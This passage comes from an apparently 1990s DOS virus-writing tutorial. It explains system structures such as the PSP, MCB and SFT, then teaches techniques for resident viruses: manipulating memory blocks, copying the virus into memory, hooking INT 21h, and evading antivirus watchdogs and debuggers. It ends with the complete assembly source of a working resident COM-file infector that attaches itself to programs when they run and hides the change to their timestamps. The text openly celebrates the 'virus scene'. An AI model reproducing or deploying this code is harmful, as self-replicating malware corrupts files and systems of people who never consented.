The important is the concept. And if you understand this, you can make what-
ever you want.
We'll stop a little time. It's time to explain you some more useful theory.
---| Useful Structures |-----------------------------------------------------
Now it's time to know one thing we had talked a lot, the PSP.
% The PSP ( Program Segment Prefix ) %
--------------------------------------
Its structure look like this:
.-----------------------------------. <--- +0000h
| INT 20h ( CD 20 ) | Size : 1 WORD
|-----------------------------------| <--- +0002h
| Pointer to the next segment | Size : 1 WORD
|-----------------------------------| <--- +0004h
| Reserved | Size : 1 BYTE
|-----------------------------------| <--- +0005h
| Far call to INT 21h | Size : 5 BYTES
|-----------------------------------| <--- +000Ah
| Saved INT 22h vector | Size : 1 DWORD
|-----------------------------------| <--- +000Eh
| Saved INT 23h vector | Size : 1 DWORD
|-----------------------------------| <--- +0012h
| Saved INT 24h vector | Size : 1 DWORD
|-----------------------------------| <--- +0016h
| Reserved | Size : 22 BYTES
|-----------------------------------| <--- +002Ch
| Offset to Enviroment Segment | Size : 1 WORD
|-----------------------------------| <--- +002Eh
| Reserved | Size : 46 BYTES
|-----------------------------------| <--- +005Ch
| First default FCB | Size : 16 BYTES
|-----------------------------------| <--- +006Ch
| Second default FCB | Size : 16 BYTES
|-----------------------------------| <--- +0080h
| Command Tail and default DTA | Size : 180 BYTES
'-----------------------------------' ---------
Total Size : 256 BYTES
Let's explain it step by step, because this structure is very important.
+ Offset 0000h:
The INT 20h is an obsolete method for terminate program. Nowadays we use
function 4Ch of the INT 21h.
+ Offset 0002h:
Here goes the pointer to the next segment placed after our program. We can
use it to know how much memory DOS have given to us ( substracting da offset
pointed by it to the offset 0000 of our PSP ). It'll return to us the memory
in paragraphs, so we have to multiply it by 16 to obtain the size in bytes.
+ Offset 0005h:
This is a preety curious way to call INT 21h. And, of course, we can use it
to our purposes. The functions are in CL instead AH, and we can only use the
functions below 24h. I'll explain more in TUNNELING chapter.
+ Offset 000Ah:
Here are stored the original vectors of INT 22h. The INT 22h is the one that
receives the control when the program terminates its execution using this
ways:
- INT 20h
- INT 27h
- INT 21h ( Functions 00h, 31h, 4Ch )
+ Offset 000Eh:
Here are stored the vectors of anothr int, the INT 23h. This int is the one
that handles the CTRL+C key combination.
+ Offset 0012h:
Another int is stored here, the INT 24h. This is the int that handle the
critical errors. Examples of this kinda errors ? When there isn't a floppy
in your floppy drive, or when it's write-protected.
+ Offset 002Ch:
Here goes the starting offset of the enviroment block.
+ Offset 005Ch:
In this field is stored the first default FCB ( File Control Block ). This
way to access files isn't normally used by programs ( they are here for
compatibility with old DOS versions ), but virus writers usually use a way
for make stealth. See the FCB structure for more info.
+ Offset 006Ch:
Ditto. It's the second default FCB.
+ Offset 0080h:
This field has two functions:
- Store the command tail
- Default file buffer for store DTA
This functions can't live together, so when we start a program the first
thing that is here is the command tail. If we need it, i recommend you to
save it to a safe place ( a variable in our code ). Da first byte of command
tail ( 80h ) holds its length, and from here, it's stored the real params.
The structure of the DTA will be explained in this same chapter.
% The FCB ( File Control Block ) %
----------------------------------
There are two kinds of FCBs : da normal and da extended ones. Here you have
the structure of a normal FCB.
.-----------------------------------. <--- +0000h
| Drive Letter ( 0=actual, 1=A... ) | Size : 1 BYTE
|-----------------------------------| <--- +0001h
| Blank padded file name | Size : 8 BYTES
|-----------------------------------| <--- +0009h
| Blank padded file extension | Size : 3 BYTES
|-----------------------------------| <--- +000Ch
| Current block number | Size : 1 WORD
|-----------------------------------| <--- +000Eh
| Logical record size | Size : 1 WORD
|-----------------------------------| <--- +0010h
| File size | Size : 1 DWORD
|-----------------------------------| <--- +0014h
| File date | Size : 1 WORD
|-----------------------------------| <--- +0016h
| File time | Size : 1 WORD
|-----------------------------------| <--- +0018h
| Reserved | Size : 8 BYTES
|-----------------------------------| <--- +0020h
| Record within current block | Size : 1 BYTE
|-----------------------------------| <--- +0021h
| Random access record number | Size : 1 DWORD
'-----------------------------------' --------
Total Size : 37 BYTES
And when it's an extended FCB, all the avobe offsets are shifted by 7 bytes
and then the first 7 bytes looks like this:
.-----------------------------------. <--- -0007h
| FF ( Signature for extended FCB ) | Size : 1 BYTE
|-----------------------------------| <--- -0006h
| Reserved | Size : 5 BYTES
|-----------------------------------| <--- -0001h
| File attribute | Size : 1 BYTE
'-----------------------------------' --------
Total Size : 44 BYTES
The way for detect if the FCB is normal or extended is to see if the first
byte of FCB is a FFh byte. If it's, the FCB is extended, cause in a normal
FCB this can't never happen.
There's a kinda of stealth that changes some values of the FCB for hide the
infection, but this will be seen in the STEALTH chapter.
% The MCB ( Memory Control Block ) %
------------------------------------
It's explained in RESIDENT viruses chapter ( the next chapter ). Here you
have:
.-----------------------------------. <--- +0000h
| ID ( Z=last, M=there're more ) | Size : 1 BYTE
|-----------------------------------| <--- +0001h
| Address of associated PSP | Size : 1 WORD
|-----------------------------------| <--- +0003h
| Number of paras in allocated mem | Size : 1 BYTE
|-----------------------------------| <--- +0005h
| Unused | Size : 11 BYTES
|-----------------------------------| <--- +0008h
| Block Name | Size : 8 BYTES
|-----------------------------------| <--- +0010h
| Zone of allocated memory | Size : ?? PARAS
'-----------------------------------' --------
Total Size : VARIABLE
% The DTA ( Disk Transfer Area ) %
----------------------------------
This structure is very important in virus writing. Let's see it:
.-----------------------------------. <--- +0000h
| Drive Letter ( equal than above ) | Size : 1 BYTE
|-----------------------------------| <--- +0001h
| Search Template | Size : 11 BYTES
|-----------------------------------| <--- +000Ch
| Reserved | Size : 9 BYTES
|-----------------------------------| <--- +0015h
| File attribute | Size : 1 BYTE
|-----------------------------------| <--- +0016h
| File time | Size : 1 WORD
|-----------------------------------| <--- +0018h
| File date | Size : 1 WORD
|-----------------------------------| <--- +001Ah
| File size | Size : 1 DWORD
|-----------------------------------| <--- +001Eh
| ASCIIZ Filename + extension | Size : 13 BYTES
'-----------------------------------' --------
Total Size : 43 BYTES
The original DTA is stored in offset 80h of the PSP. We can save it with
function 1Ah of the INT 21h.
% The IVT ( Interrupt Vector Table ) %
--------------------------------------
This ain't a " real " structure. Erhm... Let me explain... The IVT is the
place when are stored all the interrupt vectors ( wow, genius! ). All the
vectors are located in number_of_interrupt * 4. Imagine we want the INT 21h
vectors in DS:DX... simple:
xor ax,ax
mov ds,ax
lds dx,ds:[21h*4]
Why we clear DS ? Coz the IVT is located from 0000:0000 to higher places.
This manipulation ( without using DOS ) is the DIRECT way for obtain/put
vectors of an interrupt. Well, all this stuff and more in RESIDENT VIRUSES
chapter. Hey... I've forgotten a little graphic :)
.-----------------------------------. <--- +0000h
| INT 00h vector | Size : 1 DWORD
|-----------------------------------| <--- +0004h
| INT 01h vector | Size : 1 DWORD
|-----------------------------------|
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
|-----------------------------------| <--- +03FCh
| INT FEh vector | Size : 1 DWORD
|-----------------------------------| <--- +0400h
| INT FFh vector | Size : 1 DWORD
'-----------------------------------' ----------
Total Size : 1024 BYTES
You can imaginate that the " broken " line means that are 256 interrupts and
i had to optimize this document ( i don't want it to occupy 5 megs! ) ;)
% The SFT ( System File Table ) %
---------------------------------
This structure is really cool. It can help you to make your code much more
powerful and optimized. It's like the FCBs, but, as you can see, this one is
more powerful. With this tables we can make stealth, change the file pointer
the open mode, attributes... Here you have da structure for DOS 4+ ( I beli-
eve there isn't in da world someone using DOS 3 or something ). Well, if you
want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the
SFT for DOS 3 is very similar to this one. The important values are in the
same place :)
.=====================================. <--- +0000h
| Pointer to next file table | Size : 1 DWORD
|=====================================| <--- +0004h
| Number of files in this table | - - - - - Size : 1 WORD - - - - - - -
'=====================================' <--- +0000h [ 3Bh bytes per file ]
| Number of file handles of file | Size : 1 WORD
|-----------------------------------| <--- +0002h
| File open mode ( AH=3Dh ) | Size : 1 WORD
|-----------------------------------| <--- +0004h
| File attribute | Size : 1 BYTE
|-----------------------------------| <--- +0005h
| Device info block ( AX=4400h ) | Size : 1 WORD
|-----------------------------------| <--- +0007h
| If char device points next dev h. | Size : 1 DWORD
| else point to DOS DPB |
|-----------------------------------| <--- +000Bh
| Starting cluster of file | Size : 1 WORD
|-----------------------------------| <--- +000Dh
| File time | Size : 1 WORD
|-----------------------------------| <--- +000Fh
| File date | Size : 1 WORD
|-----------------------------------| <--- +0011h
| File size | Size : 1 DWORD
|-----------------------------------| <--- +0015h
| Current offset in file | Size : 1 DWORD
|-----------------------------------| <--- +0019h ---------[ If Local File ]
| Relative cluster within file of | Size : 1 WORD
| last cluster accessed |
|-----------------------------------| <--- +001Bh
| Number of sector with dir entry | Size : 1 DWORD
|-----------------------------------| <--- +001Fh
| Number of dir entry within sector | Size : 1 BYTE
|-----------------------------------| <--- +0019h ----[ Network redirector ]
| Pointer to REDIRIFS records | Size : 1 DWORD
|-----------------------------------| <--- +001Dh
| ??? | -----------Size : 3 BYTES-------------
|-----------------------------------| <--- +0020h
| Filename in FCB format | Size : 11 BYTES
|-----------------------------------| <--- +002Bh
| Pointer to prev SFT sharing file* | Size : 1 DWORD
|-----------------------------------| <--- +002Fh
| Network machine num opened file* | Size : 1 WORD
|-----------------------------------| <--- +0031h
| PSP segment of file owner | Size : 1 WORD
|-----------------------------------| <--- +0033h
| Offset to code segment of rec* | Size : 1 WORD
|-----------------------------------| <--- +0035h
| Absolute clust num of last access | Size : 1 WORD
|-----------------------------------| <--- +0037h
| Pointer to IFS driver for file | Size : 1 DWORD
'-----------------------------------' --------
Total Size : 61 BYTES
Uhm... I forgot to say what's the way to access SFTs... Here you have the
routine that puts the SFT in ES:DI, giving the file handle in BX.
GetSFT:
mov ax,1220h
int 2Fh
jc BadSFT
xor bx,bx
mov ax,1216h
mov bl,byte ptr es:[di]
int 2Fh
BadSFT:
ret
I really recommend you to save da values in AX/BX ( BX is very important: we
put there the file handle )
(*) The fields marked are used by SHARE.EXE
% The DIB ( DOS Info Block ) %
------------------------------
With the DIB we can access to very important structures, that can't be acce-
ssed by another way. This structure isn't fixed to a memory location. We
must use the function 52h of the INT 21h. It isn't a documented function of
DOS. When we call to the said function, we have the address of DIB in ES:BX.
Here you have:
.-----------------------------------. <--- -0004h
| Pointer to first MCB | Size : 1 DWORD
|-----------------------------------| <--- +0000h
| Pointer to first DPB | Size : 1 DWORD
|-----------------------------------| <--- +0004h
| Pointer to DOS last buffer | Size : 1 DWORD
|-----------------------------------| <--- +0008h
| Pointer to $CLOCK | Size : 1 DWORD
|-----------------------------------| <--- +000Ch
| Pointer to CON | Size : 1 DWORD
|-----------------------------------| <--- +0010h
| Maximum sector length | Size : 1 WORD
|-----------------------------------| <--- +0012h
| Pointer to DOS first buffer | Size : 1 DWORD
|-----------------------------------| <--- +0016h
| Pointer to array of cur dir struc | Size : 1 DWORD
|-----------------------------------| <--- +001Ah
| Pointer to SFT | Size : 1 DWORD
'-----------------------------------' --------
Total Size : 34 BYTES
% The DPB ( Drive Parameter Block ) %
-------------------------------------
This structure provides us very useful information for our purposes. We can
know where is it located by using da second pointer in the DIB ( see above )
Here you have:
.-----------------------------------. <--- +0000h
| Drive Letter ( 0=A,1=B... ) | Size : 1 BYTE
|-----------------------------------| <--- +0001h
| Unit number within device driver | Size : 1 BYTE
|-----------------------------------| <--- +0002h
| Bytes per sector | Size : 1 WORD
|-----------------------------------| <--- +0004h
| Highest sect num within a cluster | Size : 1 BYTE
|-----------------------------------| <--- +0005h
| Shift count for clust to sectors | Size : 1 BYTE
|-----------------------------------| <--- +0006h
| Number of reserved clusters | Size : 1 WORD
|-----------------------------------| <--- +0008h
| Number of FATs | Size : 1 BYTE
|-----------------------------------| <--- +0009h
| Number of root directory entries | Size : 1 WORD
|-----------------------------------| <--- +000Bh
| Number of first sector with data | Size : 1 WORD
|-----------------------------------| <--- +000Dh
| Number of last sector with data | Size : 1 WORD
|-----------------------------------| <--- +000Fh
| Number of sectors per FAT | Size : 1 BYTE
|-----------------------------------| <--- +0010h
| Sector number of first dir sector | Size : 1 WORD
|-----------------------------------| <--- +0012h
| Address of device driver header | Size : 1 DWORD
|-----------------------------------| <--- +0016h
| Media ID byte | Size : 1 BYTE
|-----------------------------------| <--- +0017h
| 00h if disk accessed, else FFh | Size : 1 BYTE
|-----------------------------------| <--- +0018h
| Pointer to next DPB | Size : 1 DWORD
'-----------------------------------' --------
Total Size : 28 BYTES
% The Partition Table %
-----------------------
Well, this structure is preety known by everyone that codes boot infectors.
This is the first block of the hard disk. It's always the first, doesn't
matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas
ter Boot Record ) when HD, or Boot Sector when FD.
The partition table is an array with four entries, located at offset 01BEh
in the block. Here you have the format of each of these entries:
.-----------------------------------. <--- +0000h
| Boot indicator ( Bootable = 80h, | Size : 1 BYTE
| Non bootable 00h ) |
|-----------------------------------| <--- +0001h
| Head where the partition begins | Size : 1 BYTE
|-----------------------------------| <--- +0002h
| Sector where the partition begins | Size : 1 BYTE
|-----------------------------------| <--- +0003h
| Cylinder where the part. begins | Size : 1 BYTE
|-----------------------------------| <--- +0004h
| System indicator* ( What OS ? ) | Size : 1 BYTE
|-----------------------------------| <--- +0005h
| Head where partition ends | Size : 1 BYTE
|-----------------------------------| <--- +0006h
| Sector where the partition ends | Size : 1 BYTE
|-----------------------------------| <--- +0007h
| Cylinder where the partition ends | Size : 1 BYTE
|-----------------------------------| <--- +0008h
| Total blocks preceding partition | Size : 1 DWORD
|-----------------------------------| <--- +000Ch
| Total blocks in the partition | Size : 1 DWORD
'-----------------------------------' --------
Total Size : 16 BYTES
(*) 01 = 12-bit FAT
04 = 16-bit FAT
% The BPB ( Bios Parameter Block ) %
------------------------------------
In DOS based systems, the boot record begins with a jump, followed by the
following structure, the BPB.
.-----------------------------------. <--- +0000h
| OEM name and version ( ASCII ) | Size : 8 BYTES
|-----------------------------------| <--- +0008h
| Bytes per sector | Size : 1 WORD
|-----------------------------------| <--- +000Dh
| Sectors per cluster | Size : 1 BYTE
|-----------------------------------| <--- +000Eh
| Reserved sector ( starting at 0 ) | Size : 1 WORD
|-----------------------------------| <--- +0010h
| Number of FATs | Size : 1 BYTE
|-----------------------------------| <--- +0011h
| Num of 32 bit root dir entries | Size : 1 WORD
|-----------------------------------| <--- +0013h
| Total sectors in partition | Size : 1 WORD
|-----------------------------------| <--- +0015h
| Media descriptor | Size : 1 BYTE
|-----------------------------------| <--- +0017h
| Sectors per FAT | Size : 1 WORD
|-----------------------------------| <--- +0019h
| Sectors per track | Size : 1 WORD
|-----------------------------------| <--- +001Bh
| Number of heads | Size : 1 WORD
|-----------------------------------| <--- +001Dh
| Number of hidden sectors | Size : 1 WORD
'-----------------------------------' --------
Total Size : 29 BYTES
---| More cool viruses : RESIDENT viruses |----------------------------------
Well, if you have reached this point and you're still alive, you have future
in this cool world called virus scene :)
Here begins da interesting stuff for you ( to read ) and for me ( to write )
% What the hell is a resident program? %
----------------------------------------
Well, first of all i'll explain you just the opposite :)
When we execute a non-resident program ( normal program such edit ), DOS
gives it determinated memory, but this memory is deallocated when the
application is terminated ( with an INT 20h, or INT 21h functions like the
famous 4Ch ).
A resident program is executed like a normal program, but it leaves in mem-
ory a portion of itself, that is not deallocated after program termination.
Resident programs ( aka TSR = Terminate and Stay Resident ) ussually replace
some interrupts, and putting its own ones, for perform the task for they're
designed. What uses can we give to a TSR program ? We can use for hacking
( steal passwords ), for our cool utilities... all depends of your imagina-
tion. Of course, i don't forget it... for make RESIDENT VIRUSES :)
% What can a TSR virus give you? %
----------------------------------
TSR isn't the best way to call viruses that go resident. Imagine you're exe-
cuting something and it returns to DOS. No. We can't TERMINATE and stay re-
sident! The user will note there's something wrong. We must RETURN to host
and stay resident :) TSR is only an abbreviation ( misused, i must add ).
Resident viruses can offer us a new world of possibilities. We can make our
virus much more infectious, safe... We can disinfect file when an attempt to
open/read file is detected ( imagine, AVs won't detect anything ), we can
hook the functions used by AVs in order to fool them, we can substract the
virus size to inexpert user eyes ( erhm... experts too ) ;)
Nowadays there isn't reasons to make runtime viruses. They're slow, easily
detectable, and OBSOLETE ( Hey! An excelent Fear Factory album! ) :)
Let's see a little example of resident program.
;---[ CUT HERE ]-------------------------------------------------------------
; This program will check if it's already in memory, and then it'll show us a
; stupid message. If not, it'll install and show another msg.
.model tiny
.code
org 100h
start:
jmp fuck
newint21:
cmp ax,0ACDCh ; Are user caliing our function?
je is_check ; If yes, answer the call
jmp dword ptr cs:[oldint21] ; Else jump to original int 21
is_check:
mov ax,0DEADh ; We answer it
iret ; And make an interrupt return :)
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
fuck:
mov ax,0ACDCh ; Residence check
int 21h ; Invented function, of course ;)
cmp ax,0DEADh ; Are we here?
je stupid_yes ; If yes, show message 2
mov ax,3521h ; If not, we go and install
int 21h ; Function for get INT 21h vectors
mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0
mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2
mov ax,2521h ; Function for put new int 21 handler
mov dx,offset newint21 ; where is it located
int 21h
mov ax,0900h ; Show message 1
mov dx,offset msg_installed
int 21h
mov dx,offset fuck+1 ; Make resident from offset 0 until
int 27h ; offset in dx using int 27h
; This will also terminate program
stupid_yes:
mov ax,0900h ; Show message 2
mov dx,offset msg_already
int 21h
int 20h ; Terminate program.
msg_installed db "Stupid Resident not installed. Installing...$"
msg_already db "Stupid Resident is alive and kicking your ass!$"
end start
;---[ CUT HERE ]-------------------------------------------------------------
This little example can't be used to code a virus... Why? INT 27h, after put
a program in memory, terminates current execution. It's like it put code in
memory and make INT 20h or whatever you use for terminate current program
execution.
And then... What can we use to code a virus?
% TSR viruses algorithm %
-------------------------
We can follow this steps ( imagination is quite good in virus coding... ) :)
1. Check if program is already resident ( yes, goto 5; no, continue )
2. Allocate memory we want
3. Copy virus body to memory
4. Get interrupt vectors, save them and put ours
5. Restore host file
6. Return control to it
% Residence checks %
--------------------
When we're coding a resident program, we must make at least one check to see
if our program is already installed. Ussually, it's an invented function,and
when we call it, the function return us a determinated value ( we choose it,
too ) or if it isn't installed, it makes AL = 00.
Let's see an example:
mov ax,0B0B0h
int 21h
cmp ax,0CACAh
je already_installed
[...]
If it was already installed, we restore the infected file host, and return
control to original program. If it wasn't installed, we go and install.
The INT 21h handler for this virus will look like this:
int21handler:
cmp ax,0B0B0h
je install_check
[...]
db 0EAh
oldint21:
dw 0,0
install_check:
mov ax,0CACAh
iret
% Allocate modifying MCB %
--------------------------
The most used way to allocate memory is da MCB ( Memory Control Block ) one.
There're two way to perform this action: using DOS or doing it DIRECTLY.
After seeing what the hell are each way, let's see what is a MCB.
A Memory Control Block is created by DOS for each control block that da pro-
gram uses. The length of the block is one paragraph ( 16 bytes ), and it
always goes before the allocated memory. Ahh! num it's always divisibe by 16
We can know the location of the MCB of our program substracting to the code
segment 1 ( CS-1 ) if is a COM file, and DS if EXE ( remember, in EXEs
CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen,
the last lesson we have seen )
+ Using DOS for modify MCB:
Well, the method i used in my first virus, the Antichrist Superstar, is very
simple and effective. First we make a request to DOS using function 4Ah of
INT 21h for all memory ( BX=FFFFh ), that is an imposible value. This func-
tion will see that we're requesting for too much memory, so it will place in
BX all memory that we can use. So we substract to this value the code size
of our virus in paragraphs ( ((size+15)/16)+1 ) and call again the function
4Ah. Now it's time to substract to da free memory the memory we want. We can
do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and then call to DOS
function 48h, with the code size in paragraphs in BX. This will return in AX
the segment of allocated block, so we put it in ES, decrement AX, and put
the new value in DS. Now we have in DS the MCB, so we have to manipulate it.
We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB
structure ), and in DS:[1] the word 0008, for tell DOS that the block is of
its own, and then it won't overwrite it.
Arf, Arf... After this huge theory, some code will be good.
Something like this will configure MCB to your needs:
mov ax,4A00h ; Here we request for an impossible
mov bx,0FFFFh ; amount of free memory
int 21h
mov ax,4A00h ; And we substract the virus size in
sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
int 21h ; ( in BX ) and request for space.
mov ax,4800h ; Now we make DOS substract 2 da free
sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
mov bx,(virus_size+15)/16 ; paragraphs
int 21h
mov es,ax ; In AX we get the segment of our
dec ax ; memory block ( doesn't care if EXE
mov ds,ax ; or COM ), we put in ES, and in DS
; ( substracted by 1 )
mov byte ptr ds:[0],"Z" ; We mark it as last block
mov word ptr ds:[1],08h ; We say DOS the block is of its own
Quite simple and effective... However, this will only manipulate the memory,
it doesn't move your code to memory. This is VERY easy. But we'll see it
later.
+ Direct modify of MCB:
This method does exactly the same, but the way to reach our target is diffe-
rent. It has one thing that makes it better that the above method: a TSR AV
watchdog won't say anything of memory manipulation cause we don't use any
kinda interrupt :)
The first we do is to put DS in AX ( coz we can't make any kinda things with
segments ), we decrement it by 1, and then we put it again in DS. Now DS
points to the MCB. If you remember the MCB structure, in the offset 3 we had
the amount of current memory in paragraphs. So we need to substract to this
value the amount of memory we're going to use. We'll use BX ( why not? ) ;)
If we take a look to the past, we can remember that MCB is 16 bytes above da
PSP. All the PSP offsets are shifted by 16 ( 10h ) bytes. We need to chan-
ge the value of TOM, located at offset 2 of PSP, but we are not pointing to
PSP now, we're pointing to MCB. What can we do? Instead using offset 2, we
use offset 12h ( 2+16=18=12h ). We substract to it our memory needs in paras
( remember, virus size+15 divided by 16 ). The new value of this offset now
has the new segment of our program, and we need it in a segment. We're going
to use the Extra Segment ( ES ). But we can make a mov with ES and this
location ( due da limitations of segment manipulations ). We must use a tem-
poral register. AX will be good for our purposes. Now we mark ES:[0] with a
"Z" ( before we used DS as segment handler ), and ES:[1] with an 8.
After the always boring theory, some code will be good
mov ax,ds ; DS = PSP
dec ax ; We use AX as temporal register
mov ds,ax ; DS = MCB
mov bx,word ptr ds:[03h] ; We put in BX the amount of memory
sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change
mov word ptr ds:[03h],bx ; We put it in its original place
mov byte ptr ds:[0],"M" ; Mark as not last block
sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
; to TOM size
mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg.
mov es,ax ; And we need AX for put it in ES
mov byte ptr es:[0],"Z" ; Mark as last block
mov word ptr es:[1],0008h ; Mark DOS as owner
% Move the virus to memory %
----------------------------
This is da simplest thing in the resident virus coding. If you know for what
purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... )
you'll see how much easy is it. All we must do is setup from we want to move
and how many data. It's quite simple. Da beginning of data move is magically
always equal to delta offset, do if we have the delta offset in BP, all we
need it to move to SI the content of BP. And we put the virus size in bytes
in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll
be enough with a xor di,di ( an optimized way to make a mov di,0 ). Let's
see code...
push cs ; Adjust segments
pop ds ; CS = DS
xor di,di ; DI = 0 ( Top Of Memory )
mov si,bp ; SI = offset virus_start
mov cx,virus_size ; CX = virus_size
rep movsb ; Move bytes from DS:SI to ES:DI
% Hooking interrupts %
----------------------
After move our virus to memory, we need to modify at least one it for per-
form our infection. It's ussually INT 21h in about all resident infectors
under the sun, but when we're in a boot virus ( or a multipartite virus that
infect also floppies and MBRs ) we also have to hook the INT 13h. The ints
we hook depend of our needs. There're two ways of hooking interrupts: using
DOS or direct hooking. We must note some things to make our handler:
- First of all, we MUST preserve all registers we use PUSHING them at the
beginning of the handler ( flags too ), and when we'll be going to return da
control to the original handler, POP'em all.
- The second thing we must remember is that u can NEVER call an intercepted
function that is previously hooked by our virus, we'll fall in an infinite
loop. Let's imagine we've hooked function 3Dh of INT 21h ( Open File ), and
we call it from the hooked function code ( or antoher of our new interrupt
handler )... Da computer will hang. Instead of this we must make a fake call
to the INT 21h like this one:
CallINT21h:
pushf
call dword ptr cs:[oldint21]
iret
We can do another thing. We can redirect another interrupt, and make it
point to the old INT 21h. A good choice seems to be INT 03h: It's a good
antidebugging trick, makes our code more little ( INT 03h is coded CCh that
only takes one byte, and normal ints are coded CDh XX, where XX is the hex
value of out int ), and we forget all the problems of call intercepted func-
tions. When we're about to pass the control to original INT 21h, it's good
to restore all hooked interrupts that were redirected to INT 21h.
+ Hooking interrupts using DOS:
We must get the original vector of an interrupt before put our own vector.
This can be done with the function 35h of the INT 21h.
Let's see the input parameters for this function:
AH = 35h
AL = Interrupt Number
When called, it returns us this values :
AX = Preserved
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset
After calling this function, we store ES:BX in a variable in our code for
later use, and set a new interrupt handler. The fuction we must use is the
25h of INT 21h. Here you have the parameters:
AH = 25h
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset
Let's see an example of interrupt hooking by using DOS:
push cs ; Adjust segments
pop ds ; CS = DS
mov ax,3521h ; Get interrupt vector function
int 21h
mov word ptr [int21_off],bx ; Now store variables
mov word ptr [int21_seg],es
mov ah,25h ; Put new interrupt
lea dx,offset int21handler ; Offset to new handler
int 21h
[...]
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
+ Direct hook of interrupts:
If we forget DOS, we win some things i said before ( in the direct MCB modi-
fying ). Do you remember the structure of the interrupt table ? It begins
at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we
can use, from the INT 00h till the INT FFh. Let's see some code:
xor ax,ax ; Make zero AX
mov ds,ax ; For make zero DS ( now AX=DS=0 )
push ds ; We nned to restore DS later
lds dx,ds:[21h*4] ; All interrupts are in int number*4
mov word ptr es:int21_off,dx ; Where save offset
mov word ptr es:int21_seg,ds ; " " segment
pop ds ; Restore DS
mov word ptr ds:[21h*4],offset int21handler ; The new handler
mov word ptr ds:[21h*4+2],es
% Last words about residency %
------------------------------
Well, there aren't my last words really. I'll talk a lot of infections, and
all this stuff in the rest of this document, but i assume you know how to do
a resident virus after this. All the stuff from here to the last line of the
document is thougth to be implemented to a TSR virii. Of course, if i say
that something is for runtime viruses, don't scream! :)
After terminate this lesson, i must put an example of full-working resident
virus. We also used at this point Gý. It's a lame resident COM infector.
;---[ CUT HERE ]-------------------------------------------------------------
; This code isn't commented as good as the RUNTIME viruses. This is cause i
; assumed all the stuff is quite clear at this point.
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj
checkres1 = ':)'
checkres2 = ';)'
.model tiny
.code
org 0000h
start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next ; Get delta offset
push ds
push es
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
restore_COM:
mov di, 0100h ; Where to move data
push di ; In what offset will the ret go
lea si, [bp+offset old3] ; What to move
movsb ; Move 3 bytes
movsw
ret ; Return to 100h
old3 db 0cdh,20h,0
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 4300h ; Get attributes for later restore
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename ; Open file for read/write
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs ; Adjust segments
pop ds
push cs
pop es ; CS=ES=DS
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov cx, 001Ah ; Read 1Ah bytes of file
mov dx, offset readbuffer
mov ah, 003Fh
int 0021h
mov ax, 4202h ; Move file pointer to the end
xor dx, dx
xor cx, cx
int 0021h
cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
jz jmp_close
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
mov di, offset old3 ; Restore 3 first bytes
mov si, offset readbuffer
movsb
movsw
sub ax, 0003h
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
mov dx, offset start
mov cx, heap-start
mov ah, 0040h ; concatenate virus
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4200h ; Move pointer to the beginning
int 0021h
mov dx, offset readbuffer ; Write first 3 bytes
mov cx, 0003h
mov ah, 0040h
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh ; Close file
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0
heap:
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
;---[ CUT HERE ]-------------------------------------------------------------
Sorry. I'm a goddman lazy, i know. You can think this is a lame attitude.
Maybe. But think i'm making this document at time i'm making some viriis and
